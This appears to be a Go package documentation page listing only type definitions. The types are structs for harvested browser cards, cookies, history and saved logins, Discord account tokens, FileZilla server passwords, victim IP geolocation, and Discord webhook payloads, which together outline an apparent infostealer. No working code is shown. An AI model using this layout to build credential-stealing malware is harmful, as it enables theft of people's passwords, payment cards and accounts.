core

package
v0.0.0-...-23c3c68 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Feb 1, 2022 License: MIT Imports: 3 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func HandleErr

func HandleErr(err error)

Types

type CardStruct

type CardStruct struct {
	Browser         string
	Name            string
	ExpirationMonth string
	ExpirationYear  string
	Value           string
	EncryptedValue  []byte
}

type CookieStruct

type CookieStruct struct {
	Browser        string
	EncryptedValue []byte
	Host           string
	Name           string
	Path           string
	Value          string
}

type EmbedAuthor

type EmbedAuthor struct {
	Name string `json:"name,omitempty"`
}

type EmbedField

type EmbedField struct {
	Name   string `json:"name,omitempty"`
	Value  string `json:"value,omitempty"`
	Inline bool   `json:"inline,omitempty"`
}

type EmbedFooter

type EmbedFooter struct {
	Text    string `json:"text,omitempty"`
	IconURL string `json:"icon_url,omitempty"`
}

type EmbedImage

type EmbedImage struct {
	URL string `json:"url,omitempty"`
}

type EmbedThumbnail

type EmbedThumbnail struct {
	URL string `json:"url,omitempty"`
}

type HistoryStruct

type HistoryStruct struct {
	Browser    string
	Title      string
	Url        string
	VisitCount int
	LastVisit  time.Time
}

type IPStruct

type IPStruct struct {
	Country     string
	CountryCode string
	City        string
	IP          string
	ISP         string
	Latitude    float64
	Longitude   float64
	Region      string
}

type LoggedCards

type LoggedCards struct {
	Logged []CardStruct
}

type LoggedCookies

type LoggedCookies struct {
	Logged []CookieStruct
}

type LoggedHistory

type LoggedHistory struct {
	Logged []HistoryStruct
}

type LoggedLogins

type LoggedLogins struct {
	Logged []LoginStruct
}

type LoginStruct

type LoginStruct struct {
	Browser     string
	Username    string
	Password    string
	Url         string
	EncryptUser []byte
	EncryptPass []byte
}

type RecentServerList

type RecentServerList struct {
	XMLName    xml.Name `xml:"FileZilla3"`
	AllServers Servers  `xml:"RecentServers"`
}

type SavedServers

type SavedServers struct {
	Servers map[int][]Server
}

type Server

type Server struct {
	Host    string `xml:"Host"`
	Port    string `xml:"Port"`
	User    string `xml:"User"`
	Pass    string `xml:"Pass,omitempty"`
	Keyfile string `xml:"Keyfile,omitempty"`
}

type Servers

type Servers struct {
	Servers []Server `xml:"Server"`
}

type SiteManagerList

type SiteManagerList struct {
	XMLName    xml.Name `xml:"FileZilla3"`
	AllServers Servers  `xml:"Servers"`
}

type UserStruct

type UserStruct struct {
	ID            string `json:"id"`
	Username      string `json:"username"`
	Discriminator string `json:"discriminator"`
	Email         string `json:"email"`
	Verified      bool   `json:"verified"`
	Phone         string `json:"phone,omitempty"`
	Token         string
}

type WebhookData

type WebhookData struct {
	AvatarURL string          `json:"avatar_url,omitempty"`
	Embeds    []*WebhookEmbed `json:"embeds,omitempty"`
	Username  string          `json:"username,omitempty"`
}

type WebhookEmbed

type WebhookEmbed struct {
	URL       string          `json:"url,omitempty"`
	Timestamp string          `json:"timestamp,omitempty"`
	Colour    int             `json:"color,omitempty"`
	Footer    *EmbedFooter    `json:"footer,omitempty"`
	Image     *EmbedImage     `json:"image,omitempty"`
	Thumbnail *EmbedThumbnail `json:"thumbnail,omitempty"`
	Author    *EmbedAuthor    `json:"author,omitempty"`
	Fields    []*EmbedField   `json:"fields,omitempty"`
}

Directories

Path Synopsis
IE

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL